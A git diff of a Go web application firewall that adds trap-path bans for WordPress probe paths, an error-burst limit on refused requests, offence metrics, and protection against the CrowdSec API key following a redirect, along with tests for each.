// router matches the path as received. A request whose decoded path // app whose router matches the path as received. A request whose decoded
// contains .. anywhere or a backslash, or whose path as sent holds an // path contains .. anywhere or a backslash, or whose path as sent holds an
// encoded slash (%2F or %2f), never is, since an app may act on it as a // encoded slash (%2F or %2f), never is, since an app may act on it as a
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx // path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
// as one path segment, as Go's router does. // as one path segment, as Go's router does.
@@ -541,14 +558,14 @@ func timing(start, end time.Time) *float64 {
} }
// addToHistory adds the request, which has ended, to its client's // addToHistory adds the request, which has ended, to its client's
// history, and then the lookup's answer about the client, as // history, and counts its offences in the metrics, and then the lookup's
// answerAtTheEnd gives it, to that history and to the notes of the bans // answer about the client, as answerAtTheEnd gives it, to that history and
// on its netblock: an answer may have come before either was there, and // to the notes of the bans on its netblock: an answer may have come
// one from GeoJS that comes later is added when it comes. // before either was there, and one from GeoJS that comes later is added
// when it comes.
func (rq *request) addToHistory() { func (rq *request) addToHistory() {
forwarded := !rq.upstreamStart.IsZero() forwarded := !rq.upstreamStart.IsZero()
request := ratelimit.Request{
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), ratelimit.Request{
Forwarded: forwarded, Forwarded: forwarded,
Refused: !forwarded && rq.refused.Load() != nil, Refused: !forwarded && rq.refused.Load() != nil,
Status: rq.out.status, Status: rq.out.status,
@@ -557,7 +574,12 @@ func (rq *request) addToHistory() {
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
Attack: rq.attack, Attack: rq.attack,
RuleBlocked: rq.ruleBlocked, RuleBlocked: rq.ruleBlocked,
}) WAFBlocked: rq.wafBlocked,
TokenRefused: rq.tokenRefused,
}
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.metrics.Offences(request)
answer, found := rq.answerAtTheEnd() answer, found := rq.answerAtTheEnd()
if found { if found {
+3
View File
@@ -204,6 +204,9 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2) wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+ wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
`instance="app",status_class="4xx"}`, 1) `instance="app",status_class="4xx"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1) wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0) wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1) wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
+20 -1
View File
@@ -1,12 +1,31 @@
package proxy package proxy
import ( import (
"slices"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// trapPath reports whether the request asks for a path in
// SWWAF_TRAP_PATHS: its path as a path rule sees it, before any decoding
// and without the query, is one of them. Such a request is a clear sign of
// attack, as a ban rule's match is: it bans the client's netblock, or in
// observe mode raises the alert for the ban it would have made.
func (rq *request) trapPath(now time.Time) bool {
path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) {
return false
}
rq.attack = true
rq.banForAttack(now, bans.Notes{TrapPath: path})
return true
}
// checkRules checks the request against the rules of the rule files at // checkRules checks the request against the rules of the rule files at
// now, notes the ids of those it matches in the log line, and returns the // now, notes the ids of those it matches in the log line, and returns the
// action of the rule that refuses it, ActionRuleBlocked for a block rule // action of the rule that refuses it, ActionRuleBlocked for a block rule
@@ -34,7 +53,7 @@ func (rq *request) checkRules(now time.Time) string {
return requestlog.ActionRuleBlocked return requestlog.ActionRuleBlocked
case rules.ActionBan: case rules.ActionBan:
rq.attack = true rq.attack = true
rq.banForAttack(now, last) rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
return requestlog.ActionBanned return requestlog.ActionBanned
default: default:
+1
View File
@@ -144,6 +144,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h",
rateLimitExemptNets: listedAddr + "," + fromKP, rateLimitExemptNets: listedAddr + "," + fromKP,
deniedCountries: "kp", deniedCountries: "kp",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
+115
View File
@@ -0,0 +1,115 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// trapPaths is the setting's name, and trapPathList what the tests set it
// to.
const (
trapPaths = "SWWAF_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php"
)
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
})
start := clk.Now()
// Only the path itself, as the client sent it, is a trap path.
for _, path := range []string{
"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php", "/%77p-login.php",
} {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
}
// A client in SWWAF_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path.
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
requestlog.ActionBanned)
wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(7 * 24 * time.Hour),
Cause: bans.CauseAttack,
Reason: "asked for the trap path /wp-login.php",
Notes: bans.Notes{
TrapPath: "/wp-login.php",
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/wp-login.php?redirect_to=x",
Status: http.StatusTooManyRequests,
UserAgent: userAgent,
},
Requests: 1,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next request is refused under the ban, and makes it permanent.
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
}
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWWAF_RULES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
}
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
mode: observe,
})
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
// No ban was made.
s.get(client, http.StatusOK, requestlog.ActionForward)
if got := server.Ledger.Snapshot(); len(got) != 0 {
t.Errorf("bans %+v, want none", got)
}
}
+72 -28
View File
@@ -25,6 +25,9 @@ const (
KindRequests = "requests" KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes. // KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes" KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests smallwebwaf
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
) )
// Limits are the most requests a client may make in a minute, an hour and // Limits are the most requests a client may make in a minute, an hour and
@@ -50,18 +53,20 @@ type Limiter struct {
} }
// Client is a client in the table, as clients.json holds it: its buckets // Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, and its history. // of requests and of bytes in each window, its buckets of refusals in the
// minute, which the error burst counts, and its history.
// //
//nolint:tagliatelle // the state files use snake_case, as the request log does //nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct { type Client struct {
Client netip.Prefix `json:"client"` Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"` Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"` Hour Buckets `json:"hour"`
Day Buckets `json:"day"` Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"` MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"` HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"` DayBytes Buckets `json:"day_bytes"`
History History `json:"history"` MinuteRefusals Buckets `json:"minute_refusals"`
History History `json:"history"`
} }
// Buckets are a client's two buckets in one window: the requests, or the // Buckets are a client's two buckets in one window: the requests, or the
@@ -116,12 +121,16 @@ type Responses struct {
// //
//nolint:tagliatelle // the state files use snake_case, as the request log does //nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct { type Offences struct {
// Limit is its requests that broke a rate limit or a byte limit, // Limit is its requests that broke a rate limit, a byte limit or the
// Attack those that matched a ban rule, a clear sign of attack, and // error burst, Attack those that were a clear sign of attack, a match
// RuleBlocked those a block rule refused. // of a ban rule or a request for a trap path, RuleBlocked those a block
Limit int64 `json:"limit"` // rule refused, WAFBlocked those the Core Rule Set refused, and
Attack int64 `json:"attack"` // TokenRefused those refused for a missing or wrong token.
RuleBlocked int64 `json:"rule_blocked"` Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
WAFBlocked int64 `json:"waf_blocked"`
TokenRefused int64 `json:"token_refused"`
} }
// Request is what a client's history keeps of one of its requests. // Request is what a client's history keeps of one of its requests.
@@ -138,12 +147,16 @@ type Request struct {
// and of its response. // and of its response.
RequestBytes int64 RequestBytes int64
ResponseBytes int64 ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit or a byte // BrokeLimit is true for a request that broke a rate limit, a byte
// limit, Attack for one that matched a ban rule, and RuleBlocked for // limit or the error burst, Attack for one that matched a ban rule or
// one a block rule refused. // asked for a trap path, RuleBlocked for one a block rule refused,
BrokeLimit bool // WAFBlocked for one the Core Rule Set refused, and TokenRefused for
Attack bool // one refused for a missing or wrong token.
RuleBlocked bool BrokeLimit bool
Attack bool
RuleBlocked bool
WAFBlocked bool
TokenRefused bool
} }
// New returns a Limiter for limits, with no client counted yet, whose // New returns a Limiter for limits, with no client counted yet, whose
@@ -175,17 +188,18 @@ func New(limits Limits, maxClients int) *Limiter {
} }
} }
// Hit is a request that takes a client over a rate limit, or whose bytes // Hit is a request that takes a client over a rate limit or the error
// take it over a byte limit. // burst, or whose bytes take it over a byte limit.
type Hit struct { type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit. // Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the error burst.
Kind string Kind string
// Window is "minute", "hour" or "day". // Window is "minute", "hour" or "day".
Window string Window string
// Limit is the window's limit, as the client's percentage of it. // Limit is the window's limit, as the client's percentage of it.
Limit int64 Limit int64
// Count is the client's requests, or bytes, counted in the window, // Count is the client's requests, bytes or refusals counted in the
// this request's included. // window, this request's included.
Count float64 Count float64
} }
@@ -224,8 +238,25 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent) return l.count(client, now, 0, bytes, percent)
} }
// Reset sets client's counts of requests and of bytes in every window // CountRefusal counts a request from client at now that smallwebwaf
// back to zero. Its history keeps its totals. // refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which
// breaks the error burst, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
return hit, count > float64(threshold)
}
// Reset sets client's counts of requests, of bytes and of refusals in
// every window back to zero. Its history keeps its totals.
func (l *Limiter) Reset(client netip.Prefix) { func (l *Limiter) Reset(client netip.Prefix) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -234,6 +265,7 @@ func (l *Limiter) Reset(client netip.Prefix) {
if seen { if seen {
c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{} c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{} c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
c.MinuteRefusals = Buckets{}
} }
} }
@@ -274,6 +306,14 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
if r.RuleBlocked { if r.RuleBlocked {
h.Offences.RuleBlocked++ h.Offences.RuleBlocked++
} }
if r.WAFBlocked {
h.Offences.WAFBlocked++
}
if r.TokenRefused {
h.Offences.TokenRefused++
}
} }
// AddLookup gives client's history its AS number, AS name and country, as // AddLookup gives client's history its AS number, AS name and country, as
@@ -383,6 +423,10 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
} }
} }
if c.MinuteRefusals.Passed(now, time.Minute) {
c.MinuteRefusals = Buckets{}
}
l.clients.Add(c.Client, &c) l.clients.Add(c.Client, &c)
} }
} }
+40
View File
@@ -248,6 +248,46 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "") wantBytesCount(t, limiter, client, start, 1000, "")
} }
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
}
}
hit, over := limiter.CountRefusal(client, start, limit)
want := ratelimit.Hit{
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
}
if !over || hit != want {
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
want)
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over)
}
// A ban sets them back to zero.
limiter.Reset(client)
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
}
}
func TestCountGivesTheRequestsInEachWindow(t *testing.T) { func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
t.Parallel() t.Parallel()
+13 -6
View File
@@ -65,6 +65,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
limiter := ratelimit.New(ratelimit.Limits{}, tableSize) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter.Count(client, start, whole) limiter.Count(client, start, whole)
limiter.CountBytes(client, start, 5, whole) limiter.CountBytes(client, start, 5, whole)
limiter.CountRefusal(client, start, limit)
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
loaded := func(now time.Time) ratelimit.Client { loaded := func(now time.Time) ratelimit.Client {
@@ -76,9 +77,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
return after.Snapshot()[0] return after.Snapshot()[0]
} }
// Two minutes on, the window that ends then covers neither of the // Two minutes on, the window that ends then covers none of the
// minute's buckets, of requests and of bytes, which are emptied; the // minute's buckets, of requests, of bytes and of refusals, which are
// hour's and the day's stay, and so does the history. // emptied; the hour's and the day's stay, and so does the history.
got := loaded(start.Add(2 * time.Minute)) got := loaded(start.Add(2 * time.Minute))
if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 || if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
got.Day.Current != 1 || got.History.Requests != 1 { got.Day.Current != 1 || got.History.Requests != 1 {
@@ -91,11 +92,17 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got.MinuteBytes, got.HourBytes, got.DayBytes) got.MinuteBytes, got.HourBytes, got.DayBytes)
} }
if got.MinuteRefusals != (ratelimit.Buckets{}) {
t.Errorf("loaded two minutes on with buckets of refusals %+v",
got.MinuteRefusals)
}
// A moment before, the window still covers some of the earlier one. // A moment before, the window still covers some of the earlier one.
got = loaded(start.Add(2*time.Minute - time.Nanosecond)) got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 { if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v", got.MinuteRefusals.Current != 1 {
got.Minute, got.MinuteBytes) t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
} }
} }
+97 -12
View File
@@ -31,8 +31,10 @@ const (
// sshBF and probing are scenarios of the engine's decisions. // sshBF and probing are scenarios of the engine's decisions.
sshBF = "crowdsecurity/ssh-bf" sshBF = "crowdsecurity/ssh-bf"
probing = "crowdsecurity/http-probing" probing = "crowdsecurity/http-probing"
// ban is the type of a decision to ban, as CrowdSec names it. // ban is the type of a decision to ban, and rangeScope the scope of a
ban = "ban" // decision on a netblock, as CrowdSec names them.
ban = "ban"
rangeScope = "Range"
) )
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) { func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
@@ -46,7 +48,7 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
// A shorter decision on the same address, which is not the one // A shorter decision on the same address, which is not the one
// used. // used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{"Range", "198.51.100.0/24", ban, probing, began.Add(time.Hour)}, {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)}, {"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country. // Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)}, {"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -111,6 +113,64 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
}) })
} }
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
// Two decisions on one address, the shorter listed first.
{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
// 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends
// before.
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
wantDecision(t, lists, "198.51.100.130",
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
wantDecision(t, lists, "192.0.2.20",
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
})
}
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
// With its decision deleted, the engine answers null.
e.set(func(e *engine) { e.decisions = nil })
time.Sleep(time.Minute)
wantEngineFetches(t, e, 2)
want := []reputation.List{{
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
}}
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("lists %+v, want %+v", got, want)
}
if lists.Failures(decisionsURL) != 0 {
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
}
wantDecision(t, lists, suspect, reputation.Decision{})
})
}
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey( func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t *testing.T, t *testing.T,
) { ) {
@@ -167,7 +227,7 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
wantKeyNotShown(t, log.String(), lists, queue) wantKeyNotShown(t, e, log.String(), lists, queue)
}) })
}) })
} }
@@ -197,6 +257,11 @@ func crowdSecFailures() []crowdSecFailure {
func(e *engine) { e.key = "another-key-0123456789abcdef" }, func(e *engine) { e.key = "another-key-0123456789abcdef" },
"the server answered 403 Forbidden", "the server answered 403 Forbidden",
}, },
{
"a redirect",
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
"the server answered 302 Found",
},
{ {
"an answer that does not read", "an answer that does not read",
func(e *engine) { e.answer = "<html>" }, func(e *engine) { e.answer = "<html>" },
@@ -222,14 +287,24 @@ func crowdSecFailures() []crowdSecFailure {
} }
} }
// wantKeyNotShown checks that the engine's key is in none of what the // wantKeyNotShown checks that no fetch carried the engine's key to a URL
// fetches leave behind: log, the process log, the alerts waiting in queue, // other than its decision list, such as the one a redirect names, and that
// and the copies of lists, which reputation.json keeps. // the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which
// reputation.json keeps.
func wantKeyNotShown( func wantKeyNotShown(
t *testing.T, log string, lists *reputation.Lists, queue *alerts.Queue, t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
) { ) {
t.Helper() t.Helper()
e.mu.Lock()
keySentTo := e.keySentTo
e.mu.Unlock()
if len(keySentTo) != 0 {
t.Errorf("the key was sent to %v", keySentTo)
}
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)}) shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
if err != nil { if err != nil {
t.Fatalf("encode: %v", err) t.Fatalf("encode: %v", err)
@@ -246,7 +321,7 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
began := time.Now() began := time.Now()
e := &engine{key: engineKey, decisions: []decision{ e := &engine{key: engineKey, decisions: []decision{
{"Range", "198.51.100.0/24", ban, probing, began.Add(time.Hour)}, {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
}} }}
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
kept := lists.Snapshot() kept := lists.Snapshot()
@@ -313,14 +388,18 @@ func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
// decisions still in force, each with the time it has left as it answers, // decisions still in force, each with the time it has left as it answers,
// by the bubble's clock, as an engine does, or with answer while that is // by the bubble's clock, as an engine does, or with answer while that is
// not "". It answers 403 to a fetch without its key, as an engine does, // not "". It answers 403 to a fetch without its key, as an engine does,
// and 503 while failing. It counts the fetches. // with a redirect to redirect while that is not "", and 503 while failing.
// It counts the fetches, and notes in keySentTo the URL of each fetch of
// another URL that carries a key, as one following a redirect would.
type engine struct { type engine struct {
mu sync.Mutex mu sync.Mutex
key string key string
decisions []decision decisions []decision
answer string answer string
redirect string
failing bool failing bool
fetches int fetches int
keySentTo []string
} }
// decision is a decision of the engine, which ends at expires. // decision is a decision of the engine, which ends at expires.
@@ -336,11 +415,17 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.fetches++ e.fetches++
status, body := http.StatusOK, e.answer if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String())
}
status, header, body := http.StatusOK, http.Header{}, e.answer
switch { switch {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key: case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}` status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "":
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
case e.failing: case e.failing:
status, body = http.StatusServiceUnavailable, "" status, body = http.StatusServiceUnavailable, ""
case body == "": case body == "":
@@ -350,7 +435,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
return &http.Response{ return &http.Response{
StatusCode: status, StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)), Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Header: http.Header{}, Header: header,
Body: io.NopCloser(strings.NewReader(body)), Body: io.NopCloser(strings.NewReader(body)),
Request: req, Request: req,
}, nil }, nil
+1
View File
@@ -11,6 +11,7 @@ import (
// network. // network.
func (l *Lists) SetTransport(transport http.RoundTripper) { func (l *Lists) SetTransport(transport http.RoundTripper) {
l.httpClient.Transport = transport l.httpClient.Transport = transport
l.crowdSecClient.Transport = transport
} }
// SetTransport has a's checks go through transport instead of the // SetTransport has a's checks go through transport instead of the
+21 -4
View File
@@ -93,6 +93,10 @@ type Params struct {
type Lists struct { type Lists struct {
params Params params Params
httpClient *http.Client httpClient *http.Client
// crowdSecClient fetches the CrowdSec decision list. It follows no
// redirect, so that the key goes to the engine alone: a redirect is a
// failure.
crowdSecClient *http.Client
mu sync.Mutex mu sync.Mutex
// lists are by URL, one for each URL Params names. // lists are by URL, one for each URL Params names.
@@ -129,7 +133,16 @@ type Decision struct {
// New returns the lists, without a copy of any yet. // New returns the lists, without a copy of any yet.
func New(params Params) *Lists { func New(params Params) *Lists {
l := &Lists{params: params, httpClient: &http.Client{}, lists: map[string]*list{}} l := &Lists{
params: params,
httpClient: &http.Client{},
crowdSecClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
},
lists: map[string]*list{},
}
for _, listURL := range l.URLs() { for _, listURL := range l.URLs() {
l.lists[listURL] = &list{kept: List{URL: listURL}} l.lists[listURL] = &list{kept: List{URL: listURL}}
@@ -416,8 +429,9 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
// get fetches the list at listURL, and returns its lines. The CrowdSec // get fetches the list at listURL, and returns its lines. The CrowdSec
// decision list is fetched with CrowdSecKey in the header X-Api-Key, where // decision list is fetched with CrowdSecKey in the header X-Api-Key, where
// the engine looks for it. An answer other than 200, or a list longer // the engine looks for it, by crowdSecClient, which follows no redirect.
// than maxListBytes, is a failure. // An answer other than 200, or a list longer than maxListBytes, is a
// failure.
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout) ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel() defer cancel()
@@ -427,11 +441,14 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return nil, fmt.Errorf("make the request: %w", err) return nil, fmt.Errorf("make the request: %w", err)
} }
client := l.httpClient
if listURL == l.params.CrowdSecDecisionsURL { if listURL == l.params.CrowdSecDecisionsURL {
req.Header.Set("X-Api-Key", l.params.CrowdSecKey) req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
client = l.crowdSecClient
} }
res, err := l.httpClient.Do(req) res, err := client.Do(req)
if err != nil { if err != nil {
// Do's error names the URL, which the log line and the alert name // Do's error names the URL, which the log line and the alert name
// already: only what went wrong is kept. // already: only what went wrong is kept.
+25 -8
View File
@@ -29,12 +29,16 @@ const (
// over a rate limit, which bans the client. // over a rate limit, which bans the client.
ActionRateLimited = "rate_limited" ActionRateLimited = "rate_limited"
// ActionBanned is a request refused because a ban covers its client, // ActionBanned is a request refused because a ban covers its client,
